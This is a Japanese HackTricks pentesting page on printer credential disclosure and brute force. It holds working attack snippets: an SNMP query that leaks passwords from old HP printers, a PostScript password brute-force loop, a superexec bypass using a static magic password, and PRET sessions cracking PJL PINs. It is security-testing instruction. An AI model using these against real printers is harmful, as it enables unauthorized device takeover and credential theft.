hacktricks/network-services-pentesting/pentesting-printers/credentials-disclosure-brute-force.md
2023-07-07 23:42:27 +00:00

8.1 KiB
Raw Blame History

認証情報の漏洩 / ブルートフォース

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

プリンターは、デフォルトのパスワードまたは初期パスワードが設定されていない場合があります。いずれの場合でも、エンドユーザーまたは管理者はデバイスを保護するためにアクティブにパスワードを設定する必要があります。

パスワードの漏洩

SNMP

古いHPプリンターには、パスワードを返す脆弱なOIDがありました。他のベンダーでも同様のSNMPベースの問題が発生する可能性があります。

snmpget -v1 -c public printer iso.3.6.1.4.1.11.2.3.9.1.1.13.0
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = Hex-STRING: 41 41 41 00 …

パスバック

もしプリンタが外部のLDAPを使用してユーザーを認証している場合、この設定を変更する権限がある場合おそらくWebコンソールインターフェースを使用して、プリンタをあなたのLDAPサーバに接続させ、任意のユーザーを認証することができます。
ただし、この設定を悪用して、プリンタがLDAPサーバに接続するために使用している資格情報を盗むこともできます。詳細はこちらを参照してください

ブルートフォース

PJL

PJLパスワードは16ビットのキーサイズが制限されているため、ブルートフォース攻撃の脆弱性があります。30分以内に正しいパスワードを推測することができます。

ブルートフォースをテストするために、PRETlockunlockコマンドを使用することができます。

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
PIN protection:  ENABLED
Panel lock:      ON
Disk lock:       ON
printer:/> unlock
No PIN given, cracking.
PIN protection:  DISABLED
Panel lock:      OFF
Disk lock:       OFF

PostScript

PostScriptには2種類のパスワードがあります。SystemParamsPasswordは用紙サイズなどの印刷ジョブの設定を変更するために使用されます。一方、StartJobPasswordはサーバーループを終了し、PostScript環境を永久的に変更するために必要です。

PostScriptパスワードに対するブルートフォース攻撃は非常に高速に実行することができます。なぜなら、PostScriptインタプリタは自らを解読するようにプログラムすることができるからです。

/min 0 def /max 1000000 def
statusdict begin {
min 1 max
{dup checkpassword {== flush stop} {pop} ifelse} for
} stopped pop

別のアプローチは、Adobeの独自のsuperexecオペレータを使用して、PostScriptパスワードをバイパスすることです。このオペレータは、internaldict辞書に存在し、静的なマジックパスワード(1183615869によって「保護」されています。PostScriptコードをsuperexecにラップすることで、攻撃者は通常は無効なアクセスエラーが発生する言語のさまざまな保護メカニズムを無視することができます。以下に示すように、現在のパスワードを最初に送信せずにPostScriptパスワードを設定するために使用することができます

{ << /SystemParamsPassword (0)
/StartJobPassword (0) >> setsystemparams
} 1183615869 internaldict /superexec get exec

PRETのロックとアンロックのコマンドは、数値整数のPostScriptパスワードに対するブルートフォース攻撃をテストするために使用することができます。また、superexec magicを使用してそれらをバイパスすることもできます。

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
printer:/> unlock
No password given, cracking.
Device unlocked with password: 999
printer:/> lock S0me_Re4lly_g00d_Passw0rd!
printer:/> unlock bypass
Resetting password to zero with super-secret PostScript magic
Device unlocked with password: 0

**http://hacking-printers.net/wiki/index.php/Credential_disclosure**には、パスワードの漏洩とブルートフォースに関する詳細な情報があります。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥